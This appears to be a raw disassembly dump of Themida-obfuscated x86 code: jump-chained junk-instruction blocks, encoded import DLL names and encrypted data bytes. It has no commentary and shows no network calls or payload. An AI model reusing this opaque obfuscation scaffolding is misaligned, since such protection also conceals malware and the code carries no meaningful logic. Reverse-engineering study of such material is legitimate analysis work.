loc_5A4DE0: ; CODE XREF: Themida_:00597607j add bh, 0 jmp loc_5A2C30 ; --------------------------------------------------------------------------- loc_5A4DE8: ; CODE XREF: Themida_:005A15AAj add ebx, 139709D7h jmp loc_5A09C8 ; --------------------------------------------------------------------------- loc_5A4DF3: ; CODE XREF: Themida_:00591CE7j mov ebx, [esp] push eax mov eax, esp jmp loc_5A1DC6 ; --------------------------------------------------------------------------- loc_5A4DFE: ; CODE XREF: Themida_:0059BA32j and eax, 116C0D38h jmp loc_5923BA ; --------------------------------------------------------------------------- loc_5A4E08: ; CODE XREF: Themida_:005979A5j pop edx push 2839h mov [esp], edx jmp loc_590D7B ; --------------------------------------------------------------------------- loc_5A4E16: ; CODE XREF: Themida_:005A1274j mov esp, [esp] push ebx push esp mov ebx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax mov eax, 4 add ebx, eax pop eax add ebx, 4 jmp loc_59D259 ; --------------------------------------------------------------------------- loc_5A4E4D: ; CODE XREF: Themida_:005963CFj mov edx, 4B0516DCh shr edx, 3 shl edx, 7 add edx, 1BCA0650h push eax jmp loc_592749 ; --------------------------------------------------------------------------- loc_5A4E64: ; CODE XREF: Themida_:005A0494j push ebp push 237E4922h jmp loc_5A3793 ; --------------------------------------------------------------------------- loc_5A4E6F: ; CODE XREF: Themida_:00591110j pop ecx add ebx, 7DED102Bh sub ebx, 652E5554h or ebx, 68EC0127h sub ebx, 78FEC933h jmp loc_59E18E ; --------------------------------------------------------------------------- loc_5A4E8D: ; CODE XREF: Themida_:0059452Dj add edi, 179C4651h inc edi sub edi, 0D20BD3FDh sub edx, edi pop edi jmp loc_5A3F76 ; --------------------------------------------------------------------------- loc_5A4EA2: ; CODE XREF: Themida_:00593471j mov [esp], ebx push ecx push 29116A70h pop ecx xor ecx, 0E4B0FD0h sub ecx, 275A659Eh push 1F1Ah mov [esp], esi mov esi, ecx mov ebx, esi pop esi pop ecx sub ecx, ebx jmp loc_5A2D57 ; --------------------------------------------------------------------------- loc_5A4ECD: ; CODE XREF: Themida_:0059123Bj add ecx, 4 jmp loc_59925F ; --------------------------------------------------------------------------- loc_5A4ED8: ; CODE XREF: Themida_:0059343Bj push 16781990h pop eax shl eax, 5 sub esp, 4 mov [esp], esi jmp loc_59D6FF ; --------------------------------------------------------------------------- loc_5A4EEF: ; CODE XREF: Themida_:00599409j add [esp+4], edi add dword ptr [esp+4], 28434C9Bh pop edi pop ebp push edi mov edi, 3B4D6D1Ah jmp loc_599369 ; --------------------------------------------------------------------------- loc_5A4F08: ; CODE XREF: Themida_:00592A45j pop ecx add edx, ebp pop ebp sub edx, edi push ebx mov ebx, 5B79469Bh sub edx, ebx pop ebx pop edi push 2240h mov [esp], esi mov esi, 40C077A5h add edx, esi pop esi jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A4F2D: ; CODE XREF: Themida_:005A3E1Dj shr edx, 8 and edx, 21006285h xor edx, 4A8F12DCh mov ebp, edx pop edx dec ebp push edx jmp loc_5A021D ; --------------------------------------------------------------------------- loc_5A4F46: ; CODE XREF: Themida_:005A3E40j add esp, 4 push ebx mov ebx, esp jmp loc_59FEA1 ; --------------------------------------------------------------------------- loc_5A4F54: ; CODE XREF: Themida_:0059E663j add eax, edi sub esp, 4 mov [esp], ebx jmp loc_5A03C2 ; --------------------------------------------------------------------------- loc_5A4F61: ; CODE XREF: Themida_:0059F983j add ebp, 76E554DCh push ebp sub dword ptr [esp], 4EB05B3Eh jmp loc_5922FD ; --------------------------------------------------------------------------- loc_5A4F74: ; CODE XREF: Themida_:0059872Aj mov [esp], esi push edx mov edx, 290D258Dh xor edx, 291965DFh jmp loc_5A2CF1 ; --------------------------------------------------------------------------- loc_5A4F88: ; CODE XREF: Themida_:005A56B0j add edx, edi mov edi, [esp] push esi mov esi, esp add esi, 4 jmp loc_59E0FB ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A4FA3: ; CODE XREF: Themida_:00599456j pop ebp neg eax xor eax, 41C8137Dh add esi, eax jmp loc_59733B ; --------------------------------------------------------------------------- loc_5A4FB2: ; CODE XREF: Themida_:00595647j dec eax dec eax jmp loc_591AAD ; --------------------------------------------------------------------------- loc_5A4FB9: ; CODE XREF: Themida_:00591EA1j mov ebx, 18841C5Dh jmp loc_59AB26 ; --------------------------------------------------------------------------- loc_5A4FC3: ; CODE XREF: Themida_:00595EF9j xor ecx, 22D0586Eh not ecx jmp loc_598DE2 ; --------------------------------------------------------------------------- loc_5A4FD0: ; CODE XREF: Themida_:0059F140j add ebp, ecx add ebp, 439E37F1h push edx mov edx, 674F78F7h add ebp, edx pop edx pop ecx xor edx, ebp mov ebp, [esp] add esp, 4 add eax, edx mov edx, [esp] add esp, 4 push ecx mov ecx, esp push eax mov eax, 4 add ecx, 441671BBh add ecx, eax sub ecx, 441671BBh jmp loc_5A1BD3 ; --------------------------------------------------------------------------- loc_5A5011: ; CODE XREF: Themida_:005997D5j add ebp, 2A9D36C5h mov edx, [esp] push edx mov edx, esp add edx, 4 jmp loc_590BA4 ; --------------------------------------------------------------------------- loc_5A5028: ; CODE XREF: Themida_:0059EF26j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp jmp loc_59266F ; --------------------------------------------------------------------------- mov ax, [esp] push 2CEBh mov [esp], eax mov eax, esp sub esp, 4 jmp loc_59BA09 ; --------------------------------------------------------------------------- loc_5A5058: ; CODE XREF: Themida_:00594C5Ej push ecx mov ecx, 1B5D154Ah jmp loc_5952B9 ; --------------------------------------------------------------------------- loc_5A5063: ; CODE XREF: Themida_:00597F36j push esi pop ebp push ebp sub dword ptr [esp], 2C8A4D05h pop ecx add ecx, 2C8A4D05h pop ebp jmp loc_59CA64 ; --------------------------------------------------------------------------- loc_5A507A: ; CODE XREF: Themida_:00598D49j xor eax, 0D3AFF31Eh add esi, eax pop eax add edi, esi jmp loc_5A34B6 ; --------------------------------------------------------------------------- loc_5A5089: ; CODE XREF: Themida_:0059FD1Ej sub ebp, 7B351B9Ch add ebp, 0A4CA00ACh add edi, 336033C9h sub edi, ebp sub edi, 336033C9h pop ebp jmp loc_59745C ; --------------------------------------------------------------------------- loc_5A50A9: ; CODE XREF: Themida_:005A2EE9j mov edi, 110A54DBh push ebx jmp loc_599C6E ; --------------------------------------------------------------------------- loc_5A50B4: ; CODE XREF: Themida_:005A0A85j add eax, 41F7BCDh sub eax, edx sub eax, 41F7BCDh sub eax, 25A66BA9h push dword ptr [esp] mov edx, [esp] push ebp jmp loc_59AC38 ; --------------------------------------------------------------------------- loc_5A50D1: ; CODE XREF: Themida_:0059856Fj shl ecx, 2 inc ecx sub ecx, 9DE54939h add edi, ecx jmp loc_595039 ; --------------------------------------------------------------------------- loc_5A50E2: ; CODE XREF: Themida_:0059918Fj and esi, 26B30B8Ah xor esi, 0B2088Eh jmp loc_59CAE0 ; --------------------------------------------------------------------------- loc_5A50F3: ; CODE XREF: Themida_:00592CB6j mov [esp], ecx mov ecx, 31552CA5h jmp loc_5A350E ; --------------------------------------------------------------------------- loc_5A5100: ; CODE XREF: Themida_:005937DCj add ebx, 69041A68h push dword ptr [esp] pop eax push ebp mov ebp, esp jmp loc_594BE1 ; --------------------------------------------------------------------------- loc_5A5112: ; CODE XREF: Themida_:005A2259j pop eax jmp loc_594401 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx mov cl, 4Fh inc cl push ebx mov bh, 3Eh push eax mov al, 0F2h jmp loc_59B7A8 ; --------------------------------------------------------------------------- loc_5A512B: ; CODE XREF: Themida_:00594C24j mov [esp], esi mov esi, 209819D8h add eax, esi mov esi, [esp] push ecx jmp loc_596E78 ; --------------------------------------------------------------------------- loc_5A513E: ; CODE XREF: Themida_:00597256j add esp, 4 mov edx, [esp] add esp, 4 jmp loc_5982D4 ; --------------------------------------------------------------------------- loc_5A514C: ; CODE XREF: Themida_:00592432j pop eax jmp loc_5A2548 ; --------------------------------------------------------------------------- loc_5A5152: ; CODE XREF: Themida_:0059AAFCj sub edi, 0D72B3D01h xor edx, edi jmp loc_5A204B ; --------------------------------------------------------------------------- loc_5A515F: ; CODE XREF: Themida_:0059F8D6j add ebx, ecx pop ecx push 29Ch mov [esp], esi push edi push ebx mov ebx, 102289Eh mov edi, ebx jmp loc_594868 ; --------------------------------------------------------------------------- loc_5A5178: ; CODE XREF: Themida_:005A37BFj push edx mov dh, cl jmp loc_5A0E1A ; --------------------------------------------------------------------------- loc_5A5180: ; CODE XREF: Themida_:005A1155j or di, 51A3h sub di, 3135h xchg dx, di jmp loc_5919A7 ; --------------------------------------------------------------------------- loc_5A5192: ; CODE XREF: Themida_:005A4826j mov esp, [esp] mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, eax jmp loc_597E08 ; --------------------------------------------------------------------------- loc_5A51A5: ; CODE XREF: Themida_:00596CDEj push eax mov eax, 4 add [esp+4], eax pop eax pop ebx add ebx, 4 push eax mov eax, 4 add ebx, eax jmp loc_59A90C ; --------------------------------------------------------------------------- loc_5A51C4: ; CODE XREF: Themida_:0059C0EFj pop edx xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] pop esp jmp loc_593091 ; --------------------------------------------------------------------------- loc_5A51D4: ; CODE XREF: Themida_:005998A5j mov esi, edi pop edi push 3867h mov [esp], ecx jmp loc_590BF8 ; --------------------------------------------------------------------------- loc_5A51E4: ; CODE XREF: Themida_:005A45DAj add esp, 4 jmp loc_593319 ; --------------------------------------------------------------------------- loc_5A51EC: ; CODE XREF: Themida_:0059331Dj mov ebp, [esp] push ecx jmp loc_594DE3 ; --------------------------------------------------------------------------- loc_5A51F5: ; CODE XREF: Themida_:005A446Fj mov ecx, 486A076Dh and ecx, 5B404A48h not ecx not ecx xor ecx, 8504C2Eh not ecx add ecx, 97C35067h mov ebp, ecx pop ecx and ebp, 7B773A66h push ebp inc dword ptr [esp] pop ebp push esi mov esi, 4BA82D62h xor esi, 7244B66h neg esi add esi, 12F57DA3h xor esi, 676506EBh sub esi, 61DC54D2h xor esi, 93E342A3h add ebp, esi pop esi add ebx, ebp jmp loc_5986C7 ; --------------------------------------------------------------------------- loc_5A5250: ; CODE XREF: Themida_:00599A6Cj xor ecx, [esp] jmp loc_5937BC ; --------------------------------------------------------------------------- loc_5A5258: ; CODE XREF: Themida_:005A26A7j add ecx, 7EA82CAEh jmp loc_5A54A1 ; --------------------------------------------------------------------------- loc_5A5263: ; CODE XREF: Themida_:005998D1j pop ebp mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edx mov edx, 70706631h jmp loc_5A3568 ; --------------------------------------------------------------------------- loc_5A5285: ; CODE XREF: Themida_:0059313Fj push esi jmp loc_598212 ; --------------------------------------------------------------------------- loc_5A528B: ; CODE XREF: Themida_:00593354j push edx mov edx, 4 add esi, edx mov edx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5959B6 ; --------------------------------------------------------------------------- loc_5A52A7: ; CODE XREF: Themida_:00590814j pop ecx xchg edx, [esp] jmp loc_5A2C58 ; --------------------------------------------------------------------------- loc_5A52B0: ; CODE XREF: Themida_:0059AC77j pop esp sub esp, 4 mov [esp], eax jmp loc_5A1303 ; --------------------------------------------------------------------------- loc_5A52BC: ; CODE XREF: Themida_:005993ECj mov [esp], esp push eax mov eax, 4 jmp loc_598086 ; --------------------------------------------------------------------------- loc_5A52CA: ; CODE XREF: Themida_:0059D4C0j xor ecx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A52D8: ; CODE XREF: Themida_:005A009Ej add ebp, 4 push edx push 1692h mov [esp], esi push 140E0B68h mov esi, [esp] jmp loc_59D560 ; --------------------------------------------------------------------------- loc_5A52F4: ; CODE XREF: Themida_:005980ABj add esp, 4 jmp loc_59206C ; --------------------------------------------------------------------------- loc_5A52FC: ; CODE XREF: Themida_:0059E024j push ecx mov ecx, 22AB00C3h shl ecx, 1 add ecx, 29960EB5h add ecx, 1 jmp loc_5A452E ; --------------------------------------------------------------------------- loc_5A5315: ; CODE XREF: Themida_:005A3837j pop esp mov [esp], edi push esp jmp loc_599662 ; --------------------------------------------------------------------------- loc_5A531F: ; CODE XREF: Themida_:005A36A9j add dword ptr [esp], 4 pop edx push 6E18h mov [esp], eax mov eax, 7DFE375Bh inc eax and eax, 177926CDh add eax, 96257A6h xor eax, 1EDA7DF6h add edx, eax jmp loc_597447 ; --------------------------------------------------------------------------- loc_5A534B: ; CODE XREF: Themida_:00599A42j inc ebx push 4D42h mov [esp], eax mov eax, 0FF478DF8h jmp loc_59CAF4 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ecx push 53CF52C1h push dword ptr [esp] mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_598A07 ; --------------------------------------------------------------------------- loc_5A537D: ; CODE XREF: Themida_:0059074Aj mov ax, [esp] push esi mov esi, esp jmp loc_5942FC ; --------------------------------------------------------------------------- loc_5A5389: ; CODE XREF: Themida_:00598671j sub [esp], ecx mov ecx, [esp] add esp, 4 push edi mov edi, 52974A9h add edi, 42F41F5Fh jmp loc_5A34DF ; --------------------------------------------------------------------------- loc_5A53A6: ; CODE XREF: Themida_:005A108Ej mov edx, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_59E5A2 ; --------------------------------------------------------------------------- loc_5A53B4: ; CODE XREF: Themida_:0059A231j mov ch, 0DFh jmp loc_5A141C ; --------------------------------------------------------------------------- loc_5A53BB: ; CODE XREF: Themida_:005A0E60j pop edx push ebx mov ebx, 53BB73D3h xor eax, ebx jmp loc_595CC6 ; --------------------------------------------------------------------------- loc_5A53C9: ; CODE XREF: Themida_:00595405j push ebx mov ebx, 5BF54EA9h push edx mov edx, 562E4927h sub ebx, edx pop edx add eax, ebx mov ebx, [esp] add esp, 4 pop edx push edi push 5ACFh jmp loc_59FBBF ; --------------------------------------------------------------------------- loc_5A53EF: ; CODE XREF: Themida_:0059D9DDj mov ecx, 4 push esi mov esi, 70584BE9h sub [esp+8], esi pop esi add [esp+4], ecx add dword ptr [esp+4], 70584BE9h pop ecx push dword ptr [esp] pop ebx jmp loc_59F6BD ; --------------------------------------------------------------------------- loc_5A5415: ; CODE XREF: Themida_:005A4C4Fj pop dword ptr [esp] mov esp, [esp] add esp, 4 loc_5A541E: ; CODE XREF: Themida_:0059CC38j ; Themida_:005A46DDj push 7ED2h mov [esp], eax jmp loc_5A42EA ; --------------------------------------------------------------------------- loc_5A542B: ; CODE XREF: Themida_:00599BD8j push dword ptr [esp] pop ecx jmp loc_59AE14 ; --------------------------------------------------------------------------- loc_5A5434: ; CODE XREF: Themida_:0059EF84j pop ebx add eax, 0C013E257h push eax push ebp mov ebp, 2C5629DCh jmp loc_59879B ; --------------------------------------------------------------------------- loc_5A5446: ; CODE XREF: Themida_:0059D184j push ebx mov ebx, 3D3E6FF6h and ecx, ebx pop ebx add ecx, 0F2FFB030h jmp loc_5A32DA ; --------------------------------------------------------------------------- loc_5A545A: ; CODE XREF: Themida_:0059D9A2j sub al, 0E9h jmp loc_5A4AC2 ; --------------------------------------------------------------------------- loc_5A5461: ; CODE XREF: Themida_:005973D2j pop ecx jmp loc_597FA7 ; --------------------------------------------------------------------------- loc_5A5467: ; CODE XREF: Themida_:005A362Aj xor dh, 14h jmp loc_5A18A3 ; --------------------------------------------------------------------------- loc_5A546F: ; CODE XREF: Themida_:0059C05Bj mov ecx, 40967AD1h shr ecx, 5 xor ecx, 3DD30878h add ecx, 0C0284456h add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] jmp loc_590CF8 ; --------------------------------------------------------------------------- loc_5A5494: ; CODE XREF: Themida_:005A0C54j mov [esp], ebp mov ebp, 2B41290h jmp loc_5A1287 ; --------------------------------------------------------------------------- loc_5A54A1: ; CODE XREF: Themida_:005A525Ej xor ecx, 0AEB236CAh sub eax, ecx pop ecx xor eax, [esp] xor [esp], eax jmp loc_598253 ; --------------------------------------------------------------------------- loc_5A54B5: ; CODE XREF: Themida_:0059B88Dj push 2C380D9Fh push dword ptr [esp] jmp loc_5A4CD3 ; --------------------------------------------------------------------------- loc_5A54C2: ; CODE XREF: Themida_:00592FECj sub ebx, 8977131h add ebx, 9373774h jmp loc_59905B ; --------------------------------------------------------------------------- loc_5A54D3: ; CODE XREF: Themida_:0059D02Fj sub esp, 4 jmp loc_5A27FD ; --------------------------------------------------------------------------- loc_5A54DE: ; CODE XREF: Themida_:00598BF2j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A54E3: ; CODE XREF: Themida_:0059BD60j pop ebp sub eax, edx mov edx, [esp] add esp, 4 add eax, 2EEA5B7Bh jmp loc_5A2949 ; --------------------------------------------------------------------------- loc_5A54F9: ; CODE XREF: Themida_:005A3938j xor ecx, esi pop esi sub eax, ecx pop ecx push edx jmp loc_5A277C ; --------------------------------------------------------------------------- loc_5A5505: ; CODE XREF: Themida_:005A2718j sub [esp+8], ebx jmp loc_59F7FD ; --------------------------------------------------------------------------- loc_5A550E: ; CODE XREF: Themida_:00595803j mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax jmp loc_593E4A ; --------------------------------------------------------------------------- loc_5A5522: ; CODE XREF: Themida_:00596F29j add esi, 7CA5606Ch push dword ptr [esp] pop edx add esp, 4 sub esi, 72CA56CFh add esi, eax push edi mov edi, 5151590Fh shr edi, 8 jmp loc_5932DD ; --------------------------------------------------------------------------- loc_5A5548: ; CODE XREF: Themida_:0059A613j sub edi, 6D273E39h add edi, ebx push edx mov edx, 1A115938h shr edx, 8 sub edx, 92F2D320h add edi, edx mov edx, [esp] add esp, 4 jmp loc_591C13 ; --------------------------------------------------------------------------- loc_5A556F: ; CODE XREF: Themida_:0059F4DDj mov dl, ch mov ah, dl pop edx mov bh, ah jmp loc_5A4D1A ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_597765 ; --------------------------------------------------------------------------- loc_5A558E: ; CODE XREF: Themida_:00595CD4j push ecx mov ecx, esp push ebp mov ebp, 4 jmp loc_59058A ; --------------------------------------------------------------------------- loc_5A559C: ; CODE XREF: Themida_:0059B99Cj add edi, 2D25B39Ah xor ecx, edi pop edi add eax, ecx pop ecx add eax, 4 xchg eax, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push 7AB0h mov [esp], eax jmp loc_5A0ECB ; --------------------------------------------------------------------------- loc_5A55D3: ; CODE XREF: Themida_:00590443j mov eax, 6B8E5E58h not eax add eax, 24EA54C2h inc eax not eax shr eax, 5 xor eax, 726F6B75h add edx, eax pop eax add edx, 7CED24F0h add edx, eax sub edx, 7CED24F0h sub edx, 705A4B39h pop eax add edx, eax jmp loc_5A347A ; --------------------------------------------------------------------------- loc_5A5609: ; CODE XREF: Themida_:00597BABj mov bl, 85h shr bl, 2 sub bl, 48h shl bl, 1 push ax mov al, 2Dh jmp loc_5903DC ; --------------------------------------------------------------------------- loc_5A561C: ; CODE XREF: Themida_:0059530Dj mov esi, [esp] add esp, 4 sub eax, 1 sub esp, 4 mov [esp], ebp mov ebp, 0CC569A6h sub eax, ebp pop ebp push edi mov edi, 38AC7F41h shl edi, 2 add edi, 79A93108h jmp loc_59FD94 ; --------------------------------------------------------------------------- loc_5A5649: ; CODE XREF: Themida_:00599788j pop eax jmp loc_5A0909 ; --------------------------------------------------------------------------- loc_5A564F: ; CODE XREF: Themida_:005965EAj mov eax, 4 jmp loc_5A453F ; --------------------------------------------------------------------------- loc_5A5659: ; CODE XREF: Themida_:005975A5j mov eax, 4 mov ecx, eax pop eax add ebp, ecx jmp loc_5A14E2 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx push esp jmp loc_59A20F ; --------------------------------------------------------------------------- loc_5A567B: ; CODE XREF: Themida_:0059D0E3j add edi, ecx push edx mov edx, 21795E1Ch xor edx, 3C993323h sub edi, edx pop edx pop ecx jmp loc_590D58 ; --------------------------------------------------------------------------- xchg al, [esp] xchg bl, al push 3C25h mov [esp], ecx push eax jmp loc_5A36AE ; --------------------------------------------------------------------------- loc_5A56A5: ; CODE XREF: Themida_:0059BEFAj shl edi, 1 shr edi, 6 add edi, 0FFF38A1Ch jmp loc_5A4F88 ; --------------------------------------------------------------------------- loc_5A56B5: ; CODE XREF: Themida_:005A105Bj inc ebx xor ebx, 0B795BEB4h mov ecx, ebx pop ebx dec ecx inc ecx dec ecx sub esp, 4 mov [esp], edx jmp loc_5914F0 ; --------------------------------------------------------------------------- loc_5A56D0: ; CODE XREF: Themida_:00599BBFj pop esi mov ecx, [esp] add esp, 4 xchg edx, [esp] jmp loc_5954A5 ; --------------------------------------------------------------------------- loc_5A56E2: ; CODE XREF: Themida_:005A0820j add edi, 0BAE0CA80h add esi, edi pop edi jmp loc_5A3BA7 ; --------------------------------------------------------------------------- loc_5A56F0: ; CODE XREF: Themida_:0059F50Dj mov [esp], edx sub esp, 4 jmp loc_5A36A5 ; --------------------------------------------------------------------------- loc_5A56FE: ; CODE XREF: Themida_:0059C3A1j push ebp push 71F0101h pop ebp xchg edi, ebp not edi xchg edi, ebp jmp loc_5940CF ; --------------------------------------------------------------------------- loc_5A5710: ; CODE XREF: Themida_:005A2356j add ecx, 1016653Bh sub ecx, 7C8807CEh xor [ecx], ebp pop ecx push dword ptr [esp] pop ebx add esp, 4 pop ebp popa jmp loc_592B3E ; --------------------------------------------------------------------------- loc_5A5730: ; CODE XREF: Themida_:00591414j inc ch jmp loc_59D0E8 ; --------------------------------------------------------------------------- loc_5A5737: ; CODE XREF: Themida_:005919EBj sub esp, 4 jmp loc_59E240 ; --------------------------------------------------------------------------- loc_5A5742: ; CODE XREF: Themida_:00592E2Fj shr ebp, 4 push ecx mov ecx, 43AA4F5Dh sub esp, 4 jmp loc_59325B ; --------------------------------------------------------------------------- loc_5A5753: ; CODE XREF: Themida_:00590B9Fj add bl, al add bl, 5 push ecx mov cl, 0C1h sub esp, 2 mov [esp], ax jmp loc_59AE53 ; --------------------------------------------------------------------------- loc_5A5767: ; CODE XREF: Themida_:0059EE4Fj pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A5773: ; CODE XREF: Themida_:005922DBj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A5778: ; CODE XREF: Themida_:005838F4j jmp loc_5A57CB ; --------------------------------------------------------------------------- db 49h, 53h, 10h dd 45535508h, 2E323352h, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch, 5000507h dd 0D000200h, 22003000h, 5600h, 5 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A57CB: ; CODE XREF: Themida_:loc_5A5778j jmp loc_5A6072 ; --------------------------------------------------------------------------- push 6149DBEh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6149E27h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6149F28h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 614A038h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 614A0C0h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 614A1BAh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 614A230h jmp loc_583BD9 ; --------------------------------------------------------------------------- dw 5B36h dd 0BECE67B4h, 1F6B0451h, 850AA3F0h, 0E9A43D8Ah, 0CCE9D926h dd 57A46B22h, 0F542CDBEh, 8EDB345Ch, 297699F5h, 8FF8004Fh dd 0EC4DF3FCh, 9314390Fh, 5A766880h, 92F95A59h, 5C02EA7Dh dd 7A392831h, 0F175DC72h, 0CF202B49h, 4B8777EFh, 0F9E8F184h dd 806C323Ah, 505B29B9h, 0A0858E1Bh, 0AEEAD9E1h, 0E1923CBh dd 0C3F8964Fh, 0A784CCBBh, 39A4AF27h, 0D43B53ECh, 7CD77055h dd 16DD8232h, 733h, 0E532DDB4h, 82CF404Ch, 216EA1E9h, 0BB080788h dd 57A46B22h, 0EDA04E67h, 4F3CD522h, 0B6DA73C0h, 1B730C59h dd 7ECDA7F4h, 0F3FD1176h, 0BF95724Dh, 0BEF31C72h, 7A392831h dd 2BE4AA63h, 0F3EC3898h, 848F49F3h, 8E810CC5h, 0BDD38CFBh dd 246C0552h, 0FBF88F97h, 808B4DF3h, 7717E015h, 6EA21998h dd 0EB90EBA0h, 6CA24h, 0C9464B00h, 66A9E37Ch, 50A8019h dd 9F701FB8h, 3BD4B952h, 37B7FEEEh, 0D36CB956h, 710A57B8h dd 0AA3F01Fh, 643E8B84h, 0FD7A0D15h, 2C094DF3h, 0F31C7256h dd 0B1DE97BEh, 0D4BACB5Eh, 0AF1B063Bh, 0E27B5B32h, 0C24322BCh dd 3CFAF6FCh, 0E3E578B5h, 3Fh, 0F22273F4h, 0A9B40BD4h dd 1C72E816h, 0F6AFA6F3h, 0B8E67996h, 0DF5F6823h, 0DD3C5247h dd 34F35EB1h, 6CFF107Bh, 1C09126Fh, 0C92E555Dh, 4A5549F1h dd 51BED28Bh, 0EA256B04h, 639EEB5h, 72580000h, 31BEF31Ch dd 0AADDE528h, 0D947DF5Fh, 9CA463CEh, 49F18956h, 50E93641h dd 0B562133Eh, 6DDF4794h, 4F58B502h, 85F01F6Ch, 779FBEC6h dd 0F9045006h, 0F813Ah, 12078841h, 8A5D927Dh, 0F68F8C1Fh dd 20D7F9Ah, 243B6297h, 0E5786B1Ch, 75188747h, 0FC05B8DEh dd 929A5964h, 47E60BF5h, 0D7E87B86h, 0E8D958B7h, 4AEDB25Eh dd 5C9DEA5h, 474A0000h, 0AAE27BC8h, 0B7F1865h, 711EB704h dd 0D5B8519Eh, 0B8FDED3Ah, 6BB85736h, 956B9D2h, 0A2EF2070h dd 3D8A8509h, 7B0C1463h, 84DF3FEh, 5B14552Bh, 3748DB34h dd 0BA83B857h, 1B063BD4h, 5A6832AFh, 9247DF5Ah, 0BCFCFCD5h dd 0FF162922h, 813AFFFFh, 0FDD0050Ah, 1C723C6Ah, 2831BEF3h dd 0C727A39h, 3B49F190h, 7D86E330h, 95D1D998h, 7950039Bh dd 29E6A962h, 167121F4h, 6547DF81h, 747FC75Ah, 7497183Fh dd 0A3E4ECA1h, 0E047DFA7h, 0AD38ACD5h, 0D2070886h, 0A10194FFh dd 47DFB2EDh, 9EF5EC08h, 22BCB126h, 15FF3h, 0C39B4500h dd 25E4D1DAh, 0F175311Dh, 8A495449h, 2D5EBBD1h, 6F4277E2h dd 6BFBDBDCh, 73844B87h, 93ED1BAh, 0C5CEA336h, 851921E0h dd 6029B980h, 7D8EF901h, 0E2ED21B9h, 0ACB54277h, 0C5FE06C5h dd 2E23CBAEh, 0E3AB6423h, 0D1E8DF2Ch, 0A784BEC9h, 1FB2BD27h dd 0F599800Eh, 3F30AF1Ah, 0B3327CD7h, 4B9470Eh, 573A0000h dd 0BAD26BB8h, 1B6F0855h, 810EA7F4h, 0E5A8418Eh, 0C8EDDD2Ah dd 5BA86726h, 0F946C9C2h, 92DF3060h, 2D7A95F9h, 8BFC0453h dd 0F84DF3FFh, 0A5AE451Bh, 53F901C0h, 4649F3F2h, 0C8C37C3Bh dd 8C45B447h, 934C0B04h, 19E217F8h, 9F329D72h, 7D94ABA2h dd 0F3FC1275h, 0B666714Dh, 4DF3FBD1h, 314A7B2h, 0AC3828Dh dd 8B548986h, 4D70C03h, 58210699h, 0A7D8536h, 794DF3FCh dd 6984036Eh, 0E9EBA06Eh, 4317D44h, 0DFB20000h, 424AE330h dd 0A3E780CDh, 9861F6Ch, 6D20B906h, 506555A2h, 0D320EF9Eh dd 71BE513Ah, 0A57B8D8h, 0A5F21D71h, 13747CCBh, 704DF400h dd 1C72BD93h, 99F5BEF3h, 0C7564176h, 0FA8D820Eh, 596933AEh dd 3D47DF5Ah, 0DF615235h, 0BB263147h, 0BCFC87FEh, 0FD765222h dd 0AA63FFFFh, 689629E6h, 0BEF31C72h, 4C432831h, 919958C3h dd 49F1907Dh, 0FAB0FD08h, 0C6CFA89Bh, 500920DFh, 0E242D53Ah dd 49F1756Ch, 19F69A9Bh, 73CD3B8h, 8978C934h, 0C255BAD0h dd 6DE5362h, 0BBAAB3B6h, 0DDAAF4FCh, 7C7DF7F6h, 35C6FB14h dd 0FBBAE33Ch, 0E34EB974h, 0EB246B24h, 0DDE67358h, 923139F8h dd 0E1F208ABh, 99617D6h, 0F6B2ED60h, 47006F02h, 5009C847h dd 0CC9FD43Bh, 2E453C39h, 0E4FC6126h, 0BBC322F5h, 0F5E4FCCCh dd 0A639A4AFh, 7020F995h, 2C976A9Fh, 0B16FA6ADh, 0E0A74C43h dd 337h, 0E936D9B8h, 86D33C50h, 25729DEDh, 0BF0C038Ch dd 5BA86726h, 0E9A44A6Bh, 4B40D926h, 0B2DE77C4h, 1777105Dh dd 82D1ABF8h, 0F4010D7Ah, 0BB916E4Dh, 1C0A5AEh, 0F3F24DF9h dd 0EEADB849h, 0DF605B35h, 0E9DD8519h, 6C1BCBC9h, 464DF3CFh dd 2530C847h, 0BCD46DBAh, 76F71E53h, 0FC1124E5h, 2B5C649Fh dd 584DF3A6h, 3E4FE24Dh, 940BF50h, 0C9EBA0B4h, 2C15D24h dd 4F420000h, 0B2DA73C0h, 1377105Dh, 7916AFFCh, 0DDB04996h dd 0C0F5E532h, 63B05F2Eh, 14EC1CAh, 9AE72868h, 35828D01h dd 83040C5Bh, 4DF401h, 0A5AE4D23h, 4DF901C0h, 0B849F3F2h dd 106DEEADh, 